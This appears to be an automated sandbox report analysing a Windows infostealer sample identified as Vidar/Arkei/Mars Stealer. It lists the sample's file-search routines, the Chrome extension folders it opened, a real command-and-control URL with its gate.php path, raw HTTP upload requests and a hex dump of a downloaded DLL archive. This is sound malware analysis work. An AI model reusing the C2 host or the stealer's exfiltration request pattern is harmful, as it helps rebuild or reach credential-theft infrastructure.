Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.4:49729 -> 192.187.112.99:80
Source: Traffic	Snort IDS: 2036654 ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download 192.187.112.99:80 -> 192.168.2.4:49729
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.4:49729 -> 192.187.112.99:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.4:49729 -> 192.187.112.99:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: couriercare.in/18/gate.php

Found C&C like URL pattern

Source: global traffic

HTTP traffic detected: POST /18/gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----0HLFUK6F37QQQIWLHost: couriercare.inContent-Length: 96067Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9

Source: global traffic	HTTP traffic detected: GET /18/gate.php HTTP/1.1Host: couriercare.inConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: couriercare.inCache-Control: no-cacheCookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9
Source: global traffic	HTTP traffic detected: POST /18/gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=----0HLFUK6F37QQQIWLHost: couriercare.inContent-Length: 96067Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9

Source: Joe Sandbox View

ASN Name: NOCIXUS NOCIXUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Mar 2024 07:56:53 GMTServer: ApacheLast-Modified: Mon, 21 Feb 2022 23:34:00 GMTAccept-Ranges: bytesContent-Length: 1565849Data Raw: 50 4b 03 04 14 00 00 00 08 00 0d 7a 3e 54 c5 85 06 76 05 31 01 00 d0 35 02 00 0c 00 00 00 73 6f 66 74 6f 6b 6e 33 2e 64 6c 6c ec 5b 7d 78 14 45 9a ef 9e 99 84 49 98 64 1a 48 30 3c 04 09 6c f0 b2 8a 18 18 58 12 09 18 20 9d 8d 42 60 d8 81 99 04 c8 07 5f 3a 8e 01 42 9c c6 9c 4f 50 d8 c9 28 b3 cd 78 78 8b 0a b7 ec 0a 0a 1e 77 b2 ae ab a0 39 37 a7 e3 05 49 60 05 f9 d2 45 c5 5d 5c 61 af 71 b2 4b 74 73 31 ba 39 fa de aa ea ee 99 ae ee e4 f4 b9 7f 8f e7 c1 aa a9 fe d5 fb fe de 8f 7a ab aa 1b 2b 97 ef 64 ac 0c c3 d8 e0 af 2c 33 4c 1b 43 fe 94 32 df e2 0f cb 30 99 e3 df c8 64 8e a4 9d 9a d0 c6 2e 3c 35 61 a9 ff fe 07 f3 1a 9b 36 de d7 b4 6a 7d de 9a 55 1b 36 6c 0c e6 ad 5e 97 d7 24 6c c8 bb 7f 43 5e d9 62 4f de fa 8d 6b d7 4d c9 c8 48 cf 57 44 3c d7 90 9f fb a7 8c 7b 16 ab 7f af 0b 1f 2e fe 1c da bb 36 2e 58 74 05 b7 77 2b ed e2 45 dd b8 5d b4 e8 cf d0 1e 5b 4f 9e df be 61 c1 a2 ab 78 ee 82 c5 8f e0 df 8b 16 7d 89 db 7b 16 fd 27 6e 8f 2e 26 6d 05 fe fd a3 fb d7 f8 91 1e d5 04 37 cf 30 0b d9 14 e6 ad d5 f1 15 ea d8 65 66 e2 84 e1 6c e6 70 e6 35 30 70 35 19 7b a6 1d fa 1c 74 ce b0 e8 27 87 fb 16 86 49 65 f0 6f ad 65 dc 16 ec cc b4 5f 5b e0 71 29 99 c4 31 4c a2 25 0d 67 b5 30 87 a0 6d 83 b6 0b 0d 16 5a 98 66 6b 92 6f 73 2c cc 99 71 28 10 16 a6 3e 13 d4 de 60 99 a5 cc e0 7f 0a 64 56 1f 33 e0 d9 60 19 1c 3f 25 b8 ae 39 08 ed 6f 8f 10 8a d8 56 9b 1e 93 c7 30 f5 53 9a d6 ae 0a ae 62 98 f4 32 c5 f6 72 68 df 60 93 61 48 6f e9 14 02 63 98 61 68 a2 45 91 65 a1 71 b1 29 4d 0f 36 ad 61 18 62 6b a1 82 b3 19 70 a5 53 9a d6 35 6c 5c c3 60 db 91 0f 30 47 bb 01 37 8f f9 ff 3f ff a7 3f cb c4 ee fd 2b 27 5a b8 70 4c 18 29 cd cc 62 98 70 2c 68 73 c5 6a 3a f0 68 8d bc ef 65 56 07 1a 25 8d 24 a0 94 50 97 9c 40 b5 eb 51 99 52 f7 28 84 12 1c 2a 00 a5 59 4d 87 4e d0 89 51 26 82 da 58 8a d3 f3 a3 0c 9c ea 9b 75 72 b6 99 c9 69 65 28 42 2b 08 a1 34 55 46 0b c5 66 96 99 94 ad 20 25 21 22 87 88 18 8e 47 e4 7d 05 40 b5 23 41 f4 9b 91 84 28 08 e8 50 10 3b 2c 14 89 0f 46 ea bd b2 d3 82 bc 12 9a 84 7e 32 fe 77 cf b1 9c 9c 5d 02 ff ad 16 33 aa d0 9c 13 41 07 c0 ed 4b e4 ec 95 68 34 34 09 8d 32 5e df 9b 31 f8 f9 56 3d fc 38 78 f0 60 5d 6d 87 ce 63 9b 46 1a a3 b8 d2 42 45 71 e1 48 13 73 fd 34 df 5b 28 be f5 16 43 14 ad 66 82 d6 d2 82 3e 19 a1 17 e4 b6 1a 04 bd 31 c2 44 50 85 95 e2 bd cb 0c 55 45 a3 36 98 a1 96 5a a9 d4 aa 18 61 4c 2d bf 4e ce 2d 26 72 ea 83 3a cb ac 23 f4 79 d5 40 99 f5 19 67 22 a2 51 07 89 99 41 26 eb 20 3f 37 83 14 e8 20 0f 9b 41 38 1d c4 67 02 d9 77 88 4e 8d a9 66 82 b2 74 90 4c 33 48 8e 0e 12 77 9a e8 ba 40 17 93 77 cc 50 17 69 d4 b3 66 a8 4b 34 ea ef cd 50 a5 74 6a 78 cc 50 25 34 ea 76 33 d4 4a 1a 35 cc 0c d5 45 f3 fa 34 d3 04 75 86 ae 73 bf c9 34 ae da 02 7a 19 3d 9d a9 5f 46 d3 8d eb f1 41 33 6d 03 16 4a 5b a5 89 b6 c9 b4 b6 02 4a 5b 99 51 5b 8a 99 b6 52 5a d0 1f 32 f4 82 8a 8c 82 da 33 4c 04 b5 d1 a

Source: global traffic	HTTP traffic detected: GET /18/gate.php HTTP/1.1Host: couriercare.inConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /request HTTP/1.1Host: couriercare.inCache-Control: no-cacheCookie: PHPSESSID=47b7a394185c4f184df64c6e6d49f0a9

Source: unknown

DNS traffic detected: queries for: couriercare.in

Source: unknown

Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/18/gate.php
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/18/gate.phpH
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://couriercare.in/request
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Uin5FyPXbS.exe, 00000000.00000002.1658233914.000000000F488000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1627536757.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, 6F3E3ECT.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 6F3E3ECT.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Uin5FyPXbS.exe, 00000000.00000002.1658233914.000000000F488000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1627536757.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, 6F3E3ECT.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 6F3E3ECT.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 9R1NG4OZ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Uin5FyPXbS.exe, 00000000.00000003.1635959618.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Uin5FyPXbS.exe, 00000000.00000003.1635959618.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: Uin5FyPXbS.exe PID: 6728, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

PE file has a writeable .text section

Source: Uin5FyPXbS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

PE file has nameless sections

Source: Uin5FyPXbS.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0041B020	0_2_0041B020
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00410F00	0_2_00410F00
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0041A790	0_2_0041A790
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0041A190	0_2_0041A190
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0041A5A0	0_2_0041A5A0
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_004107B0	0_2_004107B0
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6094DA3A	0_2_6094DA3A
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609660FA	0_2_609660FA
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6092114F	0_2_6092114F
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6091F2C9	0_2_6091F2C9
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096923E	0_2_6096923E
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6095C314	0_2_6095C314
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60950312	0_2_60950312
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6094D33B	0_2_6094D33B
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6093B368	0_2_6093B368
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096748C	0_2_6096748C
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6093F42E	0_2_6093F42E
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60954470	0_2_60954470
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609615FA	0_2_609615FA
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096A5EE	0_2_6096A5EE
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096D6A4	0_2_6096D6A4
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609606A8	0_2_609606A8
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60932654	0_2_60932654
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60955665	0_2_60955665
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6094B7DB	0_2_6094B7DB
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6092F74D	0_2_6092F74D
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60964807	0_2_60964807
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6094E9BC	0_2_6094E9BC
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60937929	0_2_60937929
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6093FAD6	0_2_6093FAD6
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096DAE8	0_2_6096DAE8
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60936B27	0_2_60936B27
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60954CF6	0_2_60954CF6
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60950C6B	0_2_60950C6B
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60966DF1	0_2_60966DF1
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60963D35	0_2_60963D35
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60909E9C	0_2_60909E9C
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60951E86	0_2_60951E86
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60912E0B	0_2_60912E0B
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60954FF8	0_2_60954FF8

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: String function: 004054F0 appears 577 times

Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll8 vs Uin5FyPXbS.exe
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs Uin5FyPXbS.exe
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs Uin5FyPXbS.exe
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll8 vs Uin5FyPXbS.exe
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs Uin5FyPXbS.exe

